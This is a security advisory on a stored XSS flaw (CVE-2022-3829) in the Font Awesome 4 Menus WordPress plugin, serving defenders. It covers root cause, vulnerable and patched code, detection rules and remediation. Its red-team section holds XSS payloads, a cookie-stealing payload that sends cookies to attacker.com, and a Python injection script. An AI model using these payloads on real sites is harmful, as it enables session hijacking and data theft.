CVE-2022-3829

Executive Summary

CVE-2022-3829 is a Stored Cross-Site Scripting (XSS) vulnerability in the Font Awesome 4 Menus WordPress plugin, affecting versions up to and including 4.7.0. The plugin fails to properly sanitize and escape certain settings, allowing authenticated users with high privileges (e.g., administrators) to inject arbitrary web scripts. These scripts are stored on the server and executed in the context of other users' browsers when they view the affected page. This vulnerability is particularly dangerous in multisite WordPress configurations where the unfiltered_html capability is disallowed, as it bypasses the intended security restriction.

Supply Chain & Package Security

This plugin is distributed through the official WordPress plugin repository. As of this analysis, the plugin appears to be abandoned with no active development or security patches. Users relying on this plugin are exposed to a supply chain risk where no fix is available, and continued use may lead to persistent XSS attacks. It is recommended to remove the plugin entirely and migrate to an alternative solution.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Base Score: 4.8 (Medium)

• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – An attacker must have administrator-level access.
• User Interaction (UI): Required – The victim must visit the affected page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for persistent XSS in a multisite environment elevates the risk, especially if combined with social engineering to trick an admin into injecting malicious scripts.

Deep Dive & Mechanics

The vulnerability resides in the plugin's settings page, which allows administrators to configure menu icons. The plugin does not sanitize or escape user-supplied input before storing it in the WordPress database. When the settings are rendered on the frontend or admin pages, the unsanitized input is output directly, allowing arbitrary HTML and JavaScript to be executed.

Root Cause: The plugin uses functions like update_option() to store settings without applying sanitize_text_field() or wp_kses() for output escaping. The stored value is later echoed using echo $value without proper escaping.

Attack Flow:

1. An authenticated administrator navigates to the plugin settings page.
2. The attacker (or a compromised admin) injects a malicious payload into a text field, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the WordPress options table.
4. When any user (including lower-privileged users or visitors) loads a page that displays the plugin's settings, the script executes in their browser.

Multisite Impact: In a WordPress multisite network, super admins can restrict unfiltered_html for site administrators. However, this plugin's lack of sanitization bypasses that restriction, allowing site admins to inject XSS that could affect the entire network.

Vulnerable vs. Patched Code

Vulnerable Code (version 4.7.0):

// In the plugin's admin settings page
$option_value = get_option('fa4m_menu_icon');
echo '<input type="text" name="fa4m_menu_icon" value="' . $option_value . '" />';

The $option_value is directly echoed without escaping.

Patched Code (hypothetical fix):

$option_value = get_option('fa4m_menu_icon');
$safe_value = esc_attr($option_value);
echo '<input type="text" name="fa4m_menu_icon" value="' . $safe_value . '" />';

Using esc_attr() escapes the value for safe HTML attribute output. For display in other contexts, esc_html() or wp_kses() should be used.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress installation with the Font Awesome 4 Menus plugin (version <= 4.7.0) activated.
• Administrator credentials to the WordPress admin panel.

Exploitation Steps:

1. Log in as an administrator.
2. Navigate to Settings > Font Awesome 4 Menus.
3. In the "Menu Icon" field, enter the following payload:

   "><script>alert('XSS')</script>
   

4. Click "Save Changes".
5. Visit any frontend page that displays the menu (or the admin settings page again). The JavaScript alert will execute.

Advanced Payload (Cookie Stealing):

"><script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Automated Exploit (Python):

import requests

target_url = "http://wordpress.local/wp-admin/options-general.php?page=font-awesome-4-menus"
admin_user = "admin"
admin_pass = "password"

session = requests.Session()
login_url = "http://wordpress.local/wp-login.php"
session.post(login_url, data={"log": admin_user, "pwd": admin_pass})

payload = '"><script>alert("XSS")</script>'
data = {"fa4m_menu_icon": payload}
session.post(target_url, data=data)
print("Payload injected. Visit the settings page to trigger XSS.")

Blue Team (Defensive)

Detection:

• Monitor WordPress admin logs for unusual changes to the fa4m_menu_icon option.
• Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to options-general.php.
• Regularly scan the WordPress options table for suspicious entries.

Mitigation:

• Immediately remove or disable the Font Awesome 4 Menus plugin.
• If removal is not possible, apply a virtual patch using a WAF rule to block <script tags in plugin settings fields.
• Restrict administrator access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/font-awesome-4-menus/ (presence of the plugin directory)
• Database Entry: wp_options table with option_name containing fa4m_ prefix and suspicious HTML/JavaScript values.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: POST requests to /wp-admin/options-general.php?page=font-awesome-4-menus with unusual parameters.

Detection Engineering

YARA Rule

rule CVE_2022_3829_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Font Awesome 4 Menus plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2022-3829"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $plugin = "font-awesome-4-menus"
    condition:
        $plugin and ($xss1 or $xss2)
}

Sigma Rule

title: CVE-2022-3829 - Stored XSS in Font Awesome 4 Menus
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit stored XSS in Font Awesome 4 Menus plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/options-general.php'
        cs-uri-query: 'page=font-awesome-4-menus'
        cs-uri-post: '*fa4m_*'
    condition: selection
falsepositives:
    - Legitimate plugin configuration changes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-3829 - Stored XSS in Font Awesome 4 Menus";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/options-general.php";
    http_uri;
    content:"page=font-awesome-4-menus";
    http_uri;
    content:"fa4m_";
    http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the Font Awesome 4 Menus plugin from all WordPress installations.
2. Audit the database: Search the wp_options table for any fa4m_ entries and remove malicious content.
3. Change admin passwords: If compromise is suspected, rotate all administrator credentials.

Long-Term Solutions:

• Migrate to an alternative plugin that is actively maintained and follows WordPress security best practices (e.g., using esc_attr() and wp_kses()).
• Implement a Web Application Firewall (WAF) with rules to block XSS attempts.
• Enforce the principle of least privilege for WordPress users.
• Regularly update all plugins and themes.

Workaround (if plugin cannot be removed):

• Manually patch the plugin by adding esc_attr() to the output in the plugin's PHP files. However, this will be overwritten on any update.

Valters IT
Securing Digital Frontiers